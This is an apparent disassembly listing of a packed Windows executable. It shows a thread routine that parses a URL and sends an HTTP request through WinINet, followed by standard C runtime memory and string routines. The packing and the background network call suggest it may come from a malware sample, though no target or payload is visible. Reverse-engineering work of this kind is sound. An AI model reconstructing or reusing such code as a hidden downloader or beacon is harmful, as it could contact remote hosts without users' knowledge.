		push	edi
		lea	eax, [ebp-1C8h]
		push	ebx
		push	eax
		call	sub_41BC00
		push	edi
		lea	eax, [ebp-0C8h]
		push	ebx
		push	eax
		call	sub_41BC00
		push	100h
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		call	sub_41BC00
		push	3Ch
		lea	eax, [ebp-48h]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 3Ch
		lea	eax, [ebp-48h]
		mov	[ebp-48h], edi
		mov	[ebp-34h], esi
		push	eax
		lea	eax, [ebp-358h]
		push	ebx
		push	eax
		mov	[ebp-28h], esi
		mov	[ebp-20h], esi
		mov	[ebp-18h], esi
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	dword_4CE204	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41B5BB
		cmp	[ebp-34h], ebx
		jbe	short loc_41B4F2
		push	dword ptr [ebp-34h]
		lea	eax, [ebp-148h]
		push	dword ptr [ebp-38h]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_41B4F2:				; CODE XREF: .XPack0:0041B4DBj
		cmp	[ebp-28h], ebx
		movzx	esi, word ptr [ebp-30h]
		jbe	short loc_41B510
		push	dword ptr [ebp-28h]
		lea	eax, [ebp-1C8h]
		push	dword ptr [ebp-2Ch]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_41B510:				; CODE XREF: .XPack0:0041B4F9j
		cmp	[ebp-20h], ebx
		jbe	short loc_41B52A
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-0C8h]
		push	dword ptr [ebp-24h]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_41B52A:				; CODE XREF: .XPack0:0041B513j
		cmp	[ebp-18h], ebx
		jbe	short loc_41B544
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-65Ch]
		push	dword ptr [ebp-1Ch]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_41B544:				; CODE XREF: .XPack0:0041B52Dj
		push	ebx
		push	ebx
		lea	eax, [ebp-0C8h]
		push	3
		push	eax
		lea	eax, [ebp-1C8h]
		push	eax
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	dword_4CE2B8
		call	dword_4CE2DC	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B5D1
		push	ebx
		lea	eax, [ebp-8]
		push	200h
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CE2D0	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp-4], eax
		jz	short loc_41B5D8
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CE27C	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp-55Ch]
		jz	short loc_41B5B4
		push	offset dword_43D578
		jmp	short loc_41B5E3
; ---------------------------------------------------------------------------


loc_41B5B4:				; CODE XREF: .XPack0:0041B5ABj
		push	offset unk_43D528
		jmp	short loc_41B5E3
; ---------------------------------------------------------------------------


loc_41B5BB:				; CODE XREF: .XPack0:0041B4D2j
		lea	eax, [ebp-55Ch]
		push	offset dword_43D4EC
		push	eax
		call	sub_41BEF6
		mov	esi, [ebp-0Ch]
		jmp	short loc_41B5E9
; ---------------------------------------------------------------------------


loc_41B5D1:				; CODE XREF: .XPack0:0041B56Ej
		push	offset unk_43D4AC
		jmp	short loc_41B5DD
; ---------------------------------------------------------------------------


loc_41B5D8:				; CODE XREF: .XPack0:0041B596j
		push	offset unk_43D468


loc_41B5DD:				; CODE XREF: .XPack0:0041B5D6j
		lea	eax, [ebp-55Ch]


loc_41B5E3:				; CODE XREF: .XPack0:0041B5B2j
					; .XPack0:0041B5B9j
		push	eax
		call	sub_41BEF6


loc_41B5E9:				; CODE XREF: .XPack0:0041B5CFj
		cmp	[ebp-1D4h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41B616
		push	ebx
		lea	eax, [ebp-55Ch]
		push	dword ptr [ebp-1D0h]
		push	eax
		lea	eax, [ebp-258h]
		push	eax
		push	dword ptr [ebp-35Ch]
		call	sub_409743
		add	esp, 14h


loc_41B616:				; CODE XREF: .XPack0:0041B5F1j
		lea	eax, [ebp-55Ch]
		push	eax
		call	sub_415F45
		pop	ecx
		push	esi
		call	dword_4CE33C	; InternetCloseHandle
		push	dword ptr [ebp-4]
		call	dword_4CE33C	; InternetCloseHandle
		push	dword ptr [ebp-1D8h]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 7 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B650	proc near		; CODE XREF: sub_401000+38p
					; sub_40121E+14Ap ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B670


loc_41B65C:				; CODE XREF: sub_41B650+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B6A3
		test	ecx, 3
		jnz	short loc_41B65C
		add	eax, 0


loc_41B670:				; CODE XREF: sub_41B650+Aj
					; sub_41B650+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B670
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B6C1
		test	ah, ah
		jz	short loc_41B6B7
		test	eax, 0FF0000h
		jz	short loc_41B6AD
		test	eax, 0FF000000h
		jz	short loc_41B6A3
		jmp	short loc_41B670
; ---------------------------------------------------------------------------


loc_41B6A3:				; CODE XREF: sub_41B650+11j
					; sub_41B650+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B6AD:				; CODE XREF: sub_41B650+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B650+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B650+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B650	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6CB	proc near		; CODE XREF: sub_4010AA+62p
					; sub_401AA1+57E7p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B6E0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B71A
; ---------------------------------------------------------------------------


loc_41B6E0:				; CODE XREF: sub_41B6CB+Ej
		test	al, 83h
		jz	short loc_41B718
		push	esi
		call	sub_41E22B
		push	esi
		mov	edi, eax
		call	sub_41E1C5
		push	dword ptr [esi+10h]
		call	sub_41E112
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B706
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B718
; ---------------------------------------------------------------------------


loc_41B706:				; CODE XREF: sub_41B6CB+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B718
		push	eax
		call	sub_41B721
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B718:				; CODE XREF: sub_41B6CB+17j
					; sub_41B6CB+39j ...
		mov	eax, edi


loc_41B71A:				; CODE XREF: sub_41B6CB+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B721	proc near		; CODE XREF: sub_4010AA+5Cp
					; sub_40A7FD+C3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B787
		mov	eax, dword_4DFC68
		cmp	eax, 3
		jnz	short loc_41B74D
		push	esi
		call	sub_41E517
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B779
		push	eax
		call	sub_41E542
		pop	ecx
		pop	ecx
		jmp	short loc_41B787
; ---------------------------------------------------------------------------


loc_41B74D:				; CODE XREF: sub_41B721+14j
		cmp	eax, 2
		jnz	short loc_41B778
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F272
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B778
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F2C9
		add	esp, 0Ch
		jmp	short loc_41B787
; ---------------------------------------------------------------------------


loc_41B778:				; CODE XREF: sub_41B721+2Fj
					; sub_41B721+44j
		push	esi


loc_41B779:				; CODE XREF: sub_41B721+20j
		push	0
		push	dword_4DFC64
		call	dword_428150	; RtlFreeHeap


loc_41B787:				; CODE XREF: sub_41B721+Aj
					; sub_41B721+2Aj ...
		pop	esi
		leave
		retn
sub_41B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B78A	proc near		; CODE XREF: sub_4010AA+43p
					; sub_40FD24+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B7AE
		xor	eax, eax
		jmp	loc_41B857
; ---------------------------------------------------------------------------


loc_41B7AE:				; CODE XREF: sub_41B78A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B7C1
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B7CD
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: sub_41B78A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B7CD
; ---------------------------------------------------------------------------


loc_41B7CA:				; CODE XREF: sub_41B78A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B7CD:				; CODE XREF: sub_41B78A+35j
					; sub_41B78A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B7FF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B7FF
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B7E4
		mov	edi, eax


loc_41B7E4:				; CODE XREF: sub_41B78A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	near ptr sub_41C9B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------


loc_41B7FF:				; CODE XREF: sub_41B78A+49j
					; sub_41B78A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B832
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B815
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B815:				; CODE XREF: sub_41B78A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F7BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B85C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B862
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------


loc_41B832:				; CODE XREF: sub_41B78A+78j
		push	esi
		call	sub_41F6E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B866
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B84A:				; CODE XREF: sub_41B78A+73j
					; sub_41B78A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B7CA
		mov	eax, [ebp+arg_8]


loc_41B857:				; CODE XREF: sub_41B78A+1Fj
					; sub_41B78A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B85C:				; CODE XREF: sub_41B78A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B866
; ---------------------------------------------------------------------------


loc_41B862:				; CODE XREF: sub_41B78A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B866:				; CODE XREF: sub_41B78A+B2j
					; sub_41B78A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B857
sub_41B78A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B872	proc near		; CODE XREF: sub_4010AA+2Cp
					; sub_41D643+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B88D
		push	[ebp+arg_4]
		call	sub_41BB45
		pop	ecx
		jmp	loc_41BB0D
; ---------------------------------------------------------------------------


loc_41B88D:				; CODE XREF: sub_41B872+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B8A2
		push	[ebp+arg_0]
		call	sub_41B721
		pop	ecx
		jmp	loc_41BB0B
; ---------------------------------------------------------------------------


loc_41B8A2:				; CODE XREF: sub_41B872+20j
		mov	eax, dword_4DFC68
		cmp	eax, 3
		jnz	loc_41B9B2


loc_41B8B0:				; CODE XREF: sub_41B872+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B98E
		push	[ebp+arg_0]
		call	sub_41E517
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B969
		cmp	esi, dword_4DFC60
		ja	short loc_41B922
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41ED20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B91E
		push	esi
		call	sub_41E86B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B922
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B902
		mov	eax, esi


loc_41B902:				; CODE XREF: sub_41B872+8Cj
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		call	sub_41E517
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E542
		add	esp, 18h


loc_41B91E:				; CODE XREF: sub_41B872+74j
		test	edi, edi
		jnz	short loc_41B965


loc_41B922:				; CODE XREF: sub_41B872+62j
					; sub_41B872+81j
		test	esi, esi
		jnz	short loc_41B929
		push	1
		pop	esi


loc_41B929:				; CODE XREF: sub_41B872+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DFC64
		call	dword_428154	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B965
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B951
		mov	eax, esi


loc_41B951:				; CODE XREF: sub_41B872+DBj
		push	eax
		push	ecx
		push	edi
		call	near ptr sub_41C9B0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E542
		add	esp, 14h


loc_41B965:				; CODE XREF: sub_41B872+AEj
					; sub_41B872+D0j
		test	ebx, ebx
		jnz	short loc_41B98A


loc_41B969:				; CODE XREF: sub_41B872+56j
		test	esi, esi
		jnz	short loc_41B970
		push	1
		pop	esi


loc_41B970:				; CODE XREF: sub_41B872+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DFC64
		call	dword_4281A4	; RtlReAllocateHeap
		mov	edi, eax


loc_41B98A:				; CODE XREF: sub_41B872+F5j
		test	edi, edi
		jnz	short loc_41B9AB


loc_41B98E:				; CODE XREF: sub_41B872+43j
		cmp	dword_4DE64C, 0
		jz	short loc_41B9AB
		push	esi
		call	sub_41F9B2
		test	eax, eax
		pop	ecx
		jnz	loc_41B8B0
		jmp	loc_41BB0B
; ---------------------------------------------------------------------------


loc_41B9AB:				; CODE XREF: sub_41B872+11Aj
					; sub_41B872+123j ...
		mov	eax, edi
		jmp	loc_41BB0D
; ---------------------------------------------------------------------------


loc_41B9B2:				; CODE XREF: sub_41B872+38j
		cmp	eax, 2
		jnz	loc_41BACD
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B9CF
		test	esi, esi
		jbe	short loc_41B9CC
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B9CF
; ---------------------------------------------------------------------------


loc_41B9CC:				; CODE XREF: sub_41B872+150j
		push	10h
		pop	esi


loc_41B9CF:				; CODE XREF: sub_41B872+14Cj
					; sub_41B872+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BAAF
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F272
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BA93
		cmp	esi, dword_43F614
		jnb	short loc_41BA57
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F63A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BA1D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BA4F
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B872+1A4j
		push	edi
		call	sub_41F30E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BA57
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BA36
		mov	eax, esi


loc_41BA36:				; CODE XREF: sub_41B872+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F2C9
		add	esp, 18h


loc_41BA4F:				; CODE XREF: sub_41B872+1A9j
		test	edi, edi
		jnz	loc_41B9AB


loc_41BA57:				; CODE XREF: sub_41B872+18Bj
					; sub_41B872+1B6j
		push	esi
		push	0
		push	dword_4DFC64
		call	dword_428154	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BAAF
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BA78
		mov	eax, esi


loc_41BA78:				; CODE XREF: sub_41B872+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F2C9
		add	esp, 18h
		jmp	short loc_41BAA7
; ---------------------------------------------------------------------------


loc_41BA93:				; CODE XREF: sub_41B872+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DFC64
		call	dword_4281A4	; RtlReAllocateHeap
		mov	edi, eax


loc_41BAA7:				; CODE XREF: sub_41B872+21Fj
		test	edi, edi
		jnz	loc_41B9AB


loc_41BAAF:				; CODE XREF: sub_41B872+162j
					; sub_41B872+1F8j
		cmp	dword_4DE64C, 0
		jz	loc_41B9AB
		push	esi
		call	sub_41F9B2
		test	eax, eax
		pop	ecx
		jnz	loc_41B9CF
		jmp	short loc_41BB0B
; ---------------------------------------------------------------------------


loc_41BACD:				; CODE XREF: sub_41B872+143j
					; sub_41B872+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BAF7
		test	esi, esi
		jnz	short loc_41BADB
		push	1
		pop	esi


loc_41BADB:				; CODE XREF: sub_41B872+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DFC64
		call	dword_4281A4	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41BB0D


loc_41BAF7:				; CODE XREF: sub_41B872+260j
		cmp	dword_4DE64C, 0
		jz	short loc_41BB0D
		push	esi
		call	sub_41F9B2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BACD


loc_41BB0B:				; CODE XREF: sub_41B872+2Bj
					; sub_41B872+134j ...
		xor	eax, eax


loc_41BB0D:				; CODE XREF: sub_41B872+16j
					; sub_41B872+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B872	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB12	proc near		; CODE XREF: sub_41BB32+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FB3D
		test	eax, eax
		jnz	short loc_41BB1C
		retn
; ---------------------------------------------------------------------------


loc_41BB1C:				; CODE XREF: sub_41BB12+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F9CD
		add	esp, 10h
		retn
sub_41BB12	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB32	proc near		; CODE XREF: sub_4010AA+18p
					; sub_401AA1+57BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BB12
		add	esp, 0Ch
		retn
sub_41BB32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB45	proc near		; CODE XREF: sub_4010AA+6p
					; sub_40A7FD+5Fp ...

arg_0		= dword	ptr  4

		push	dword_4DE64C
		push	[esp+4+arg_0]
		call	sub_41BB57
		pop	ecx
		pop	ecx
		retn
sub_41BB45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB57	proc near		; CODE XREF: sub_41BB45+Ap
					; sub_41D635+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BB80


loc_41BB5E:				; CODE XREF: sub_41BB57+27j
		push	[esp+arg_0]
		call	sub_41BB83
		test	eax, eax
		pop	ecx
		jnz	short locret_41BB82
		cmp	[esp+arg_4], eax
		jz	short locret_41BB82
		push	[esp+arg_0]
		call	sub_41F9B2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BB5E


loc_41BB80:				; CODE XREF: sub_41BB57+5j
		xor	eax, eax

locret_41BB82:				; CODE XREF: sub_41BB57+13j
					; sub_41BB57+19j
		retn
sub_41BB57	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB83	proc near		; CODE XREF: sub_41BB57+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DFC68
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BBA7
		cmp	esi, dword_4DFC60
		ja	short loc_41BBD9
		push	esi
		call	sub_41E86B
		test	eax, eax
		pop	ecx
		jz	short loc_41BBD9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BBA7:				; CODE XREF: sub_41BB83+Dj
		cmp	eax, 2
		jnz	short loc_41BBD9
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BBBC
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BBBF
; ---------------------------------------------------------------------------


loc_41BBBC:				; CODE XREF: sub_41BB83+2Fj
		push	10h
		pop	esi


loc_41BBBF:				; CODE XREF: sub_41BB83+37j
		cmp	esi, dword_43F614
		ja	short loc_41BBE6
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F30E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BBF5
		jmp	short loc_41BBE6
; ---------------------------------------------------------------------------


loc_41BBD9:				; CODE XREF: sub_41BB83+15j
					; sub_41BB83+20j ...
		test	esi, esi
		jnz	short loc_41BBE0
		push	1
		pop	esi


loc_41BBE0:				; CODE XREF: sub_41BB83+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BBE6:				; CODE XREF: sub_41BB83+42j
					; sub_41BB83+54j
		push	esi
		push	0
		push	dword_4DFC64
		call	dword_428154	; RtlAllocateHeap


loc_41BBF5:				; CODE XREF: sub_41BB83+52j
		pop	esi
		retn
sub_41BB83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BC00	proc near		; CODE XREF: sub_40111A+3Cp
					; sub_40111A+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BC53
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BC47
		neg	ecx
		and	ecx, 3
		jz	short loc_41BC29
		sub	edx, ecx


loc_41BC23:				; CODE XREF: sub_41BC00+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BC23


loc_41BC29:				; CODE XREF: sub_41BC00+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BC47
		rep stosd
		test	edx, edx
		jz	short loc_41BC4D


loc_41BC47:				; CODE XREF: sub_41BC00+18j
					; sub_41BC00+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BC47


loc_41BC4D:				; CODE XREF: sub_41BC00+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BC53:				; CODE XREF: sub_41BC00+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BC00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BC60	proc near		; CODE XREF: sub_40121E+48Ap
					; sub_40121E+4A6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41BCE3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BC84
		shr	ecx, 2
		jnz	short loc_41BCF1
		jmp	short loc_41BCA5
; ---------------------------------------------------------------------------


loc_41BC84:				; CODE XREF: sub_41BC60+1Bj
					; sub_41BC60+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41BCB2
		test	al, al
		jz	short loc_41BCBA
		test	esi, 3
		jnz	short loc_41BC84
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BCF1


loc_41BCA0:				; CODE XREF: sub_41BC60+8Fj
		and	ebx, 3
		jz	short loc_41BCB2


loc_41BCA5:				; CODE XREF: sub_41BC60+22j
					; sub_41BC60+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41BCDE
		dec	ebx
		jnz	short loc_41BCA5


loc_41BCB2:				; CODE XREF: sub_41BC60+2Bj
					; sub_41BC60+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BCBA:				; CODE XREF: sub_41BC60+2Fj
		test	edi, 3
		jz	short loc_41BCD4


loc_41BCC2:				; CODE XREF: sub_41BC60+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41BD56
		test	edi, 3
		jnz	short loc_41BCC2


loc_41BCD4:				; CODE XREF: sub_41BC60+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BD47


loc_41BCDB:				; CODE XREF: sub_41BC60+7Fj
					; sub_41BC60+F4j
		mov	[edi], al
		inc	edi


loc_41BCDE:				; CODE XREF: sub_41BC60+4Dj
		dec	ebx
		jnz	short loc_41BCDB
		pop	ebx
		pop	esi


loc_41BCE3:				; CODE XREF: sub_41BC60+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BCE9:				; CODE XREF: sub_41BC60+A9j
					; sub_41BC60+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41BCA0


loc_41BCF1:				; CODE XREF: sub_41BC60+20j
					; sub_41BC60+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41BCE9
		test	dl, dl
		jz	short loc_41BD3B
		test	dh, dh
		jz	short loc_41BD31
		test	edx, 0FF0000h
		jz	short loc_41BD27
		test	edx, 0FF000000h
		jnz	short loc_41BCE9
		mov	[edi], edx
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD27:				; CODE XREF: sub_41BC60+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD31:				; CODE XREF: sub_41BC60+B1j
		and	edx, 0FFh
